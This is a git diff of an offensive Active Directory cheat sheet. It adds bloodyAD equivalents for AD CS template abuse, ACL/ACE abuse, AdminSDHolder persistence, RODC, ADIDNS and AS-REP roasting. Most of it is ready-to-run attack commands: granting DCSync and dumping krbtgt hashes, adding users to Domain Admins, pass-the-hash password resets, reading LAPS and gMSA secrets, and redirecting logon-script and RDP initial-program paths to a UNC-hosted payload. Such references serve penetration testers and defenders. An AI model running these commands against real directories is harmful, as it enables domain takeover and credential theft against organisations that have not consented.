diff --git a/docs/active-directory/ad-adcs-certificate-services.md b/docs/active-directory/ad-adcs-certificate-services.md index 9e40caa..6814a62 100644 --- a/docs/active-directory/ad-adcs-certificate-services.md +++ b/docs/active-directory/ad-adcs-certificate-services.md @@ -31,6 +31,8 @@ Active Directory Certificate Services (AD CS) is a Microsoft Windows server role PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local' # or certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound + # or + python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' ``` * Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate) ```ps1 @@ -64,6 +66,8 @@ Active Directory Certificate Services (AD CS) is a Microsoft Windows server role * Find template ```ps1 PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local' + # or + python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' ``` * Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates). @@ -317,23 +321,23 @@ Exploitation: * Find `ms-DS-MachineAccountQuota` ```ps1 - python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes 'DC=lab,DC=local' ms-DS-MachineAccountQuota + bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' ms-DS-MachineAccountQuota ``` * Add a new computer in the Active Directory, by default `MachineAccountQuota = 10` ```ps1 - python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 addComputer cve 'CVEPassword1234*' + bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*' certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local' ``` * [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0`: Use a ticket for the current machine and reset its SPN ```ps1 Rubeus.exe tgtdeleg export KRB5CCNAME=/tmp/ws02.ccache - python bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local setAttribute 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName '[]' + bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName ``` * Set the `dNSHostName` attribute to match the Domain Controller hostname ```ps1 - python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 setAttribute 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName '["DC.lab.local"]' - python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName + bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local + bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName ``` * Request a ticket ```ps1 @@ -345,7 +349,7 @@ Exploitation: certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10 openssl pkcs12 -in dc.pfx -out dc.pem -nodes - python bloodyAD.py -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 setRbcd 'CVE$' 'CRASHDC$' + bloodyAD -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$' getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*' secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10 ``` diff --git a/docs/active-directory/ad-adds-acl-ace.md b/docs/active-directory/ad-adds-acl-ace.md index 220ff3e..738a02a 100644 --- a/docs/active-directory/ad-adds-acl-ace.md +++ b/docs/active-directory/ad-adds-acl-ace.md @@ -3,77 +3,92 @@ * ACL: Access Control Lists * ACE: Access Control Entry -Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner). - -```powershell +* Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner). +```ps1 ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show ``` -## GenericAll +* Automate ACL exploit [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn): +```ps1 +./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!' +``` -* **GenericAll on User** : We can reset user's password without knowing the current password -* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group : - * On Windows : `net group "domain admins" hacker /add /domain` - * On Linux: - * using the Samba software suite : - `net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]` - * using bloodyAD: - `bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'` +## GenericAll/GenericWrite +### User/Computer +* We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it. + * Windows/Linux + ```ps1 + # Check for interesting permissions on accounts: + bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get writable --otype USER --right WRITE --detail | egrep -i 'distinguishedName|servicePrincipalName' -* **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it. - ```powershell - # Check for interesting permissions on accounts: - Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} + # Check if current user has already an SPN setted: + bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get object --attr serviceprincipalname - # Check if current user has already an SPN setted: - PowerView2 > Get-DomainUser -Identity | select serviceprincipalname + # Force set the SPN on the account: Targeted Kerberoasting + bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object serviceprincipalname -v 'ops/whatever1' - # Force set the SPN on the account: Targeted Kerberoasting - PowerView2 > Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'} - PowerView3 > Set-DomainObject -Identity -Set @{serviceprincipalname='any/thing'} + # Grab the ticket + GetUsersSPNs.py -dc-ip 10.10.10.10 'attack.lab/john.doe:Password123*' -request-user - # Grab the ticket - PowerView2 > $User = Get-DomainUser username - PowerView2 > $User | Get-DomainSPNTicket | fl - PowerView2 > $User | Select serviceprincipalname + # Remove the SPN + bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object serviceprincipalname + ``` + * Windows only + ```ps1 + # Check for interesting permissions on accounts: + Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} - # Remove the SPN - PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname - ``` + # Check if current user has already an SPN setted: + PowerView2 > Get-DomainUser -Identity | select serviceprincipalname -* **GenericAll/GenericWrite** : We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back. - * On Windows: - ```powershell - # Modify the userAccountControl - PowerView2 > Get-DomainUser username | ConvertFrom-UACValue - PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose + # Force set the SPN on the account: Targeted Kerberoasting + PowerView2 > Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'} + PowerView3 > Set-DomainObject -Identity -Set @{serviceprincipalname='any/thing'} - # Grab the ticket - PowerView2 > Get-DomainUser username | ConvertFrom-UACValue - ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username + # Grab the ticket + PowerView2 > $User = Get-DomainUser username + PowerView2 > $User | Get-DomainSPNTicket | fl + PowerView2 > $User | Select serviceprincipalname - # Set back the userAccountControl - PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose - PowerView2 > Get-DomainUser username | ConvertFrom-UACValue - ``` - * On Linux: - ```bash - # Modify the userAccountControl - $ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 True + # Remove the SPN + PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname + ``` - # Grab the ticket - $ GetNPUsers.py DOMAIN/target_user -format -outputfile +* We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back. + * Windows/Linux: + ```ps1 + # Modify the userAccountControl + $ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] add uac [Target_User] -f DONT_REQ_PREAUTH - # Set back the userAccountControl - $ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 False - ``` + # Grab the ticket + $ GetNPUsers.py DOMAIN/target_user -format -outputfile + # Set back the userAccountControl + $ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] remove uac [Target_User] -f DONT_REQ_PREAUTH + ``` + * Windows only: + ```ps1 + # Modify the userAccountControl + PowerView2 > Get-DomainUser username | ConvertFrom-UACValue + PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose -## GenericWrite + # Grab the ticket + PowerView2 > Get-DomainUser username | ConvertFrom-UACValue + ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username -* Reset another user's password - * On Windows: - ```powershell + # Set back the userAccountControl + PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose + PowerView2 > Get-DomainUser username | ConvertFrom-UACValue + ``` + +* Reset another user's password. + * Windows/Linux: + ```ps1 + # Using bloodyAD with pass-the-hash + bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password john.doe 'Password123!' + ``` + * Windows only: + ```ps1 # https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1 $user = 'DOMAIN\user1'; $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; @@ -81,16 +96,37 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds; ``` - * On Linux: - ```bash + * Linux only: + ```ps1 # Using rpcclient from the Samba software suite rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" - - # Using bloodyAD with pass-the-hash - bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd ``` -* WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1` +* WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : + * Windows/Linux: + ```ps1 + bloodyAD --host 10.0.0.5 -d example.lab -u attacker -p 'Password123*' set object delegate scriptpath -v '\\10.0.0.5\totallyLegitScript.ps1' + ``` + * Windows only: + ```ps1 + Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" + ``` + +### Group +* This allows us to add ourselves to the Domain Admin group : + * Windows/Linux: + ```ps1 + bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 add groupMember 'Domain Admins' hacker + ``` + * Windows only: + ```ps1 + net group "domain admins" hacker /add /domain + ``` + * Linux only: + ```ps1 + # Using the Samba software suite + net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP] + ``` ### GenericWrite and Remote Connection Manager @@ -99,116 +135,119 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr > This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/ :warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable. - -```powershell -$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld")) -$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe" -$UserObject.TerminalServicesWorkDirectory = "C:\" -$UserObject.SetInfo() -``` +* Windows/Linux: + ```ps1 + bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSInitialProgram -v '\\1.2.3.4\share\file.exe' + bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSWorkDirectory -v 'C:\' + ``` +* Windows only: + ```ps1 + $UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld")) + $UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe" + $UserObject.TerminalServicesWorkDirectory = "C:\" + $UserObject.SetInfo() + ``` NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment. ## WriteDACL -To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'` +To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights `Replicating Directory Changes/Replicating Directory Changes All`. * WriteDACL on Domain: - * On Windows: - ```powershell - # Give DCSync right to the principal identity - Import-Module .\PowerView.ps1 - $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force - $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword) - Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local - ``` - * On Linux: - ```bash - # Give DCSync right to the principal identity - bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2 - - # Remove right after DCSync - bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2 False - ``` + * Windows/Linux: + ```ps1 + # Give DCSync right to the principal identity + bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B add dcsync user2 + + # Remove right after DCSync + bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B remove dcsync user2 + ``` + * Windows only: + ```ps1 + # Give DCSync right to the principal identity + Import-Module .\PowerView.ps1 + $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force + $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword) + Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local + ``` -* WriteDACL on Group - ```powershell - PowerSploit> Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1 - net group "INTERESTING_GROUP" User1 /add /domain - bloodyAD> bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp - - # Remove right - bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp False - ``` +* WriteDACL on Group: + * Windows/Linux: + ```ps1 + bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' add genericAll devil_user1 'cn=INTERESTING_GROUP,dc=corp' + + # Remove right + bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' remove genericAll devil_user1 'cn=INTERESTING_GROUP,dc=corp' + ``` + * Windows only: + ```ps1 + # Using native command + net group "INTERESTING_GROUP" User1 /add /domain + # Or with external tool + PowerSploit> Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1 + ``` ## WriteOwner -An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module). - -```powershell -Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal' -``` - -Using BloodyAD - -```powershell -bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setOwner devil_user1 target_object -``` +An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they wants. +* Windows/Linux: + ```ps1 + bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' set owner target_object devil_user1 + ``` +* Windows only: + ```ps1 + Powerview> Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal' + ``` This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group. - ## ReadLAPSPassword -An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the [Reading LAPS Password](#reading-laps-password) section. - -```powershell -Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime' -``` - -Or for a given computer - -```powershell -bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes LAPS_PC$ ms-mcs-admpwd,ms-mcs-admpwdexpirationtime -``` - +An attacker can read the LAPS password of the computer account this ACE applies to. +* Windows/Linux: + ```ps1 + bloodyAD -u john.doe -d bloody.lab -p Password512 --host 192.168.10.2 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime + ``` +* Windows only: + ```ps1 + Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime' + ``` ## ReadGMSAPassword -An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules. +An attacker can read the GMSA password of the account this ACE applies to. +* Windows/Linux: + ```ps1 + bloodyAD -u john.doe -d bloody -p Password512 --host 192.168.10.2 get object 'gmsaAccount$' --attr msDS-ManagedPassword + ``` +* Windows only: + ```ps1 + # Save the blob to a variable + $gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword' + $mp = $gmsa.'msDS-ManagedPassword' -```powershell -# Save the blob to a variable -$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword' -$mp = $gmsa.'msDS-ManagedPassword' - -# Decode the data structure using the DSInternals module -ConvertFrom-ADManagedPasswordBlob $mp -``` - -Using BloodyAD - -```powershell -python bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes gmsaAccount$ msDS-ManagedPassword -``` + # Decode the data structure using the DSInternals module + ConvertFrom-ADManagedPasswordBlob $mp + ``` ## ForceChangePassword An attacker can change the password of the user this ACE applies to: - +* Windows/Linux: + ```ps1 + # Using bloodyAD with pass-the-hash + bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password target_user target_newpwd + ``` * Windows: ```powershell $NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword ``` - * Linux: - ```bash + ```ps1 # Using rpcclient from the Samba software suite rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" - - # Using bloodyAD with pass-the-hash - bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd ``` diff --git a/docs/active-directory/ad-adds-groups.md b/docs/active-directory/ad-adds-groups.md index d617616..5d66d8d 100644 --- a/docs/active-directory/ad-adds-groups.md +++ b/docs/active-directory/ad-adds-groups.md @@ -8,9 +8,11 @@ If you do not want modified ACLs to be overwritten every hour, you should change Find users with `AdminCount=1`. -```powershell +```ps1 crackmapexec ldap 10.10.10.10 -u username -p password --admin-count # or +bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get search --filter '(admincount=1)' --attr sAMAccountName +# or python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10 jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json # or @@ -27,17 +29,24 @@ Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)" If you modify the permissions of **AdminSDHolder**, that permission template will be pushed out to all protected accounts automatically by `SDProp` (in an hour). E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group. +* Windows/Linux: + ```ps1 + bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 add genericAll 'CN=AdminSDHolder,CN=System,DC=example,DC=lab' john -```powershell -# Add a user to the AdminSDHolder group: -Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose + # Clean up after + bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 remove genericAll 'CN=AdminSDHolder,CN=System,DC=example,DC=lab' john + ``` +* Windows only: + ```ps1 + # Add a user to the AdminSDHolder group: + Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose -# Right to reset password for toto using the account titi -Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword + # Right to reset password for toto using the account titi + Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword -# Give all rights -Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All -``` + # Give all rights + Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All + ``` ## DNS Admins Group @@ -47,6 +56,11 @@ Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccount :warning: Require privileges to restart the DNS service. * Enumerate members of DNSAdmins group + * Windows/Linux: + ```ps1 + bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get object DNSAdmins --attr msds-memberTransitive + ``` + * Windows only: ```ps1 Get-NetGroupMember -GroupName "DNSAdmins" Get-ADGroupMember -Identity DNSAdmins @@ -86,9 +100,14 @@ This groups grants the following privileges : - SeRestore privileges * Get members of the group: - ```ps1 - PowerView> Get-NetGroupMember -Identity "Backup Operators" -Recurse - ``` + * Windows/Linux: + ```ps1 + bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get object "Backup Operators" --attr msds-memberTransitive + ``` + * Windows only: + ```ps1 + PowerView> Get-NetGroupMember -Identity "Backup Operators" -Recurse + ``` * Enable privileges using [giuliano108/SeBackupPrivilege](https://github.com/giuliano108/SeBackupPrivilege) ```ps1 Import-Module .\SeBackupPrivilegeUtils.dll diff --git a/docs/active-directory/ad-adds-rodc.md b/docs/active-directory/ad-adds-rodc.md index d437b9c..041ccef 100644 --- a/docs/active-directory/ad-adds-rodc.md +++ b/docs/active-directory/ad-adds-rodc.md @@ -43,7 +43,17 @@ RODCs are an alternative for Domain Controllers in less secure physical location When you have one the following permissions to the RODC computer object: **GenericWrite**, **GenericAll**, **WriteDacl**, **Owns**, **WriteOwner**, **WriteProperty**. -* Add a domain admin account to the RODC's **msDS-RevealOnDemandGroup** attribute +* Add a domain admin account to the RODC's **msDS-RevealOnDemandGroup** attribute + * Windows/Linux: + ```ps1 + # Get original msDS-RevealOnDemandGroup values + bloodyAD --host 10.10.10.10 -d domain.local -u username -p pass123 get object 'RODC$' --attr msDS-RevealOnDemandGroup + distinguishedName: CN=RODC,CN=Computers,DC=domain,DC=local + msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local + # Add the previous value plus the admin account + bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 set object 'RODC$' --attr msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' -v 'CN=Administrator,CN=Users,DC=domain,DC=local' + ``` + * Windows only: ```ps1 PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')} ``` diff --git a/docs/active-directory/ad-integrated-dns.md b/docs/active-directory/ad-integrated-dns.md index 8a66a11..1a02d1f 100644 --- a/docs/active-directory/ad-integrated-dns.md +++ b/docs/active-directory/ad-integrated-dns.md @@ -2,17 +2,25 @@ ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol. -* Enumerate all records using [dirkjanm/adidnsdump](https://github.com/dirkjanm/adidnsdump) +* Enumerate all records ```ps1 adidnsdump -u DOMAIN\\user --print-zones dc.domain.corp (--dns-tcp) + # or + bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 get dnsDump ``` -* Query a node using [dirkjanm/krbrelayx](https://github.com/dirkjanm/krbrelayx) +* Query a node ```ps1 dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query $DomainController (--legacy) + # or + bloodyAD -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'DC=DomainDnsZones,DC=bloody,DC=lab' --filter '(&(name=allmightyDC)(objectClass=dnsNode))' --attr dnsRecord ``` * Add a node and attach a record ```ps1 dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action add --data $AttackerIP $DomainController + # or + bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 add dnsRecord dc1.example.lab + + bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 remove dnsRecord dc1.example.lab ``` The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network. diff --git a/docs/active-directory/ad-roasting-asrep.md b/docs/active-directory/ad-roasting-asrep.md index c50730c..64945b7 100644 --- a/docs/active-directory/ad-roasting-asrep.md +++ b/docs/active-directory/ad-roasting-asrep.md @@ -3,7 +3,15 @@ > If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting **Requirements**: -- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`) +* Accounts with the attribute **DONT_REQ_PREAUTH** + * Windows/Linux: + ```ps1 + bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName + ``` + * Windows only: + ```ps1 + PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose + ``` * 